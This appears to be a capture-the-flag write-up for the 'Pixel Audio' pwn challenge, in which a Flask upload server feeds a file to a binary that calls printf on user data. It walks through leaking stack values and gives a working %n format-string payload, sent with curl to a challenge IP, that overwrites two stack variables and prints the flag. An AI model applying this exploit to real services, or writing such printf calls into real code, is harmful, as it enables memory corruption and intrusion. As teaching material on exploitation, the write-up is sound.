Pixel Audio
6 minutes to read
We are given a 64-bit binary called main
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Moreover, we have the Python source code of a Flask web server:
#!/usr/bin/python3
import os
import subprocess
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
CMD_PATH = os.getenv("CMD_PATH", "./main")
@app.route('/')
def index():
return render_template('index.html')
@app.route("/upload", methods=["POST"])
def upload():
if "file" not in request.files:
return "File not in request", 400
file = request.files["file"]
is_mp3 = file.filename.endswith(".mp3")
if not is_mp3:
return "File is not mp3", 400
filepath = os.path.join("/tmp", "test.mp3")
file.save(filepath)
return redirect("/")
@app.route("/play", methods=["GET"])
def play():
sp = subprocess.run([CMD_PATH], capture_output=True, text=True)
return sp.stdout, 200
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1337, debug=True)
The web server allows us to upload a file with .mp3
extension and it will be saved as /tmp/test.mp3
. Also, we can use /play
to execute the main
binary and see the output of the program.
Reverse engineering
If we open the main
binary in Ghidra, we will see this main
function in decompiled C code:
undefined8 main() {
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
is_mp3("/tmp/test.mp3");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return 0;
}
This function only calls is_mp3
with /tmp/test.mp3
as an argument:
void is_mp3(char *filename) {
int ret;
long in_FS_OFFSET;
unsigned long local_60;
unsigned long local_58;
FILE *fp;
unsigned long *local_48;
unsigned long *local_40;
size_t size;
char _magic_bytes[3];
char data[24];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
fp = fopen(filename, "rb");
local_60 = 0xdead1337;
local_48 = &local_60;
local_58 = 0x1337beef;
local_40 = &local_58;
if (fp == NULL) {
perror("[-] Error opening the mp3 file, please contact an Administrator");
putchar(10);
// WARNING: Subroutine does not return
exit(1);
}
size = fread(_magic_bytes, 1, 3, fp);
fread(data, 1, 0x16, fp);
fclose(fp);
if (size < 3) {
error("File is too short to contain magic bytes!\n");
// WARNING: Subroutine does not return
exit(0x520);
}
ret = memcmp(_magic_bytes, magic_bytes, 3);
if (ret != 0) {
puts("[-] File has corrupted magic bytes!");
// WARNING: Subroutine does not return
exit(0x520);
}
printf("[*] Analyzing mp3 data: ");
printf(data);
if (((local_60 & 0xffff) == 0xbeef) && ((local_58 & 0xffff) == 0xc0de)) {
beta_test();
} else {
puts(&DAT_00102140);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
This function opens /tmp/test.mp3
and first checks that the magic bytes are ID3
(first three bytes of the file). Then it reads the rest of the file and calls printf
using the file contents as first argument.
After that, the function checks if variables local_60
and local_58
end with 0xbeef
and 0xc0de
, respectively. If so happens, the program calls beta_test
, which simply opens the flag file and prints it out:
void beta_test() {
ssize_t size;
long in_FS_OFFSET;
char c;
int fd;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
system("clear");
fflush(stdout);
fflush(stdin);
fd = open("./flag.txt", 0);
if (fd < 0) {
perror("\nError opening flag.txt, please contact an Administrator");
// WARNING: Subroutine does not return
exit(1);
}
puts("\n\n[>] Now playing: Darude Sandstorm!\n");
while (true) {
size = read(fd, &c, 1);
if (size < 1) break;
fputc((int)c, stdout);
}
close(fd);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
But the values of local_60
and local_58
are 0xdead1337
and 0x1337beef
, so we won’t be able to reach the beta_test
function, right?
Format String vulnerability
Since we can control the first argument to printf
, we have a Format String vulnerability. For instance, we can start dumping stack values using %lx
:
$ curl 83.136.254.199:43645/upload -sF 'file=ID3%lx; filename=test.mp3' > /dev/null
$ curl 83.136.254.199:43645/play
[*] Analyzing mp3 data: 7ffd6ac496f0
~~ The audio player is in beta-testing mode and will be available soon! ~~
🎵 Stay tuned! 🎵
$ curl -s 83.136.254.199:43645/play | head -1
[*] Analyzing mp3 data: 7ffc301a3790
$ curl -s 83.136.254.199:43645/play | head -1 | cut -c 25-
7ffe643df100
Format String exploitation
Let’s wrap these commands into a shell function:
$ function format_string() { curl 83.136.254.199:43645/upload -sF "file=ID3$1; filename=test.mp3" > /dev/null; curl -s 83.136.254.199:43645/play | head -1 | cut -c 25- }
$ format_string %lx
7ffdc74eb0b0
If we use more format string specifiers, we will get more values:
$ format_string %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
7ffe0821ddb0.0.7f8ecb220887.18.5607e6f21480.
Notice that the program only takes 0x16
bytes of data, so we have a limited format string. But we can overcome this by specifying the exact index we want:
$ format_string '%1$lx'
7ffe335f6d20
$ format_string '%2$lx'
0
$ format_string '%3$lx'
7f988ac36887
$ format_string '%4$lx'
18
We can use a loop to leak several values:
$ for i in {1..30}; do echo -n "$i: "; format_string "%$i\$lx"; done
1: 7fff5c9381f0
2: 0
3: 7fb0de68e887
4: 18
5: 55e4abfae480
6: 0
7: 556f371ef1a5
8: 0
9: dead1337
10: 1337beef
11: 55d9e081e2a0
12: 7ffd9d0d11c8
13: 7ffdb2ad42f0
14: 3
15: 3344490000000000
16: 786c24363125
17: 0
18: 0
19: fe98e101a9357800
20: 7ffcbae7aec0
21: 56412abd663b
22: 0
23: 3f9cbc82844f4c00
24: 1
25: 7f0d3dc34d90
26: 0
27: 55c4797a5611
28: 100000000
29: 7ffc785981e8
30: 0
Alright, we see the values 0xdead1337
and 0x1337beef
. Now we need to modify the last two bytes to pass the if
check. For this, we need to use %n
, which is a format string specifier that copies the amount of printed bytes into the indicated address. For instance, AAAA%7$n
will copy the value 4
at the address at offset 7
in the stack.
If we understand how %n
works, we know that we can’t simply write using %9$n
and %10$n
because at offsets 9
and 10
we don’t have addresses but values. Therefore, we need to find pointers to those values. We can do this with GDB:
$ echo 'ID3%lx' > /tmp/test.mp3
$ gdb -q main
Reading symbols from main...
(No debugging symbols found in main)
gef> break printf
Breakpoint 1 at 0x11d0
gef> run
Starting program: ./main
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, __printf (format=0x555555556124 "[*] Analyzing mp3 data: ") at ./stdio-common/printf.c:28
28 ./stdio-common/printf.c: No such file or directory.
gef> x/10gx $rsp
0x7fffffffe758: 0x00005555555555b0 0x0000000000000000
0x7fffffffe768: 0x00005555555561a5 0x0000000000000000
0x7fffffffe778: 0x00000000dead1337 0x000000001337beef
0x7fffffffe788: 0x00005555555592a0 0x00007fffffffe778
0x7fffffffe798: 0x00007fffffffe780 0x0000000000000003
gef> telescope $rsp 10 -n
0x7fffffffe758|+0x0000|+000: 0x00005555555555b0 <is_mp3+0x13f> -> 0xb8c78948e0458d48 <- retaddr[1], $rsp
0x7fffffffe760|+0x0008|+001: 0x0000000000000000
0x7fffffffe768|+0x0010|+002: 0x00005555555561a5 -> 0x7365742f706d742f '/tmp/test.mp3'
0x7fffffffe770|+0x0018|+003: 0x0000000000000000
0x7fffffffe778|+0x0020|+004: 0x00000000dead1337
0x7fffffffe780|+0x0028|+005: 0x000000001337beef
0x7fffffffe788|+0x0030|+006: 0x00005555555592a0 -> 0x0000000555555559
0x7fffffffe790|+0x0038|+007: 0x00007fffffffe778 -> 0x00000000dead1337
0x7fffffffe798|+0x0040|+008: 0x00007fffffffe780 -> 0x000000001337beef
0x7fffffffe7a0|+0x0048|+009: 0x0000000000000003
As can be seen, we have two pointers that point to both 0xdead1337
and 0x1337beef
. Those are at offsets 12
and 13
. So we will be using %12$n
and %13$n
to write at those addresses.
In order to write a large amount of data (for instance, 0xbeef
and 0xc0de
), we can use a format specifier %c
. For example, if we use %15c
, printf
will print exactly 15
white spaces. As a result, if we use %48879c
we will be printing a total of 0xbeef
white spaces. So, we will use %48879c%12$n
to write in the first variable.
After that, we want to write 0xc0de
into the second variable. Since we have already written 48879 bytes (0xbeef
), we will only write 0xc0de - 0xbeef = 495
bytes more. So, we can use %495c%13$n
.
Flag
To sum up, with the following Format String payload, we will get the flag:
$ curl 83.136.254.199:43645/upload -sF 'file=ID3%48879c%12$n%495c%13$n; filename=test.mp3' > /dev/null
$ while true; do curl -s 83.136.254.199:43645/play | grep HTB && break; done
HTB{mp3_f1l35_fr0m_l1m3_w1r3_xD}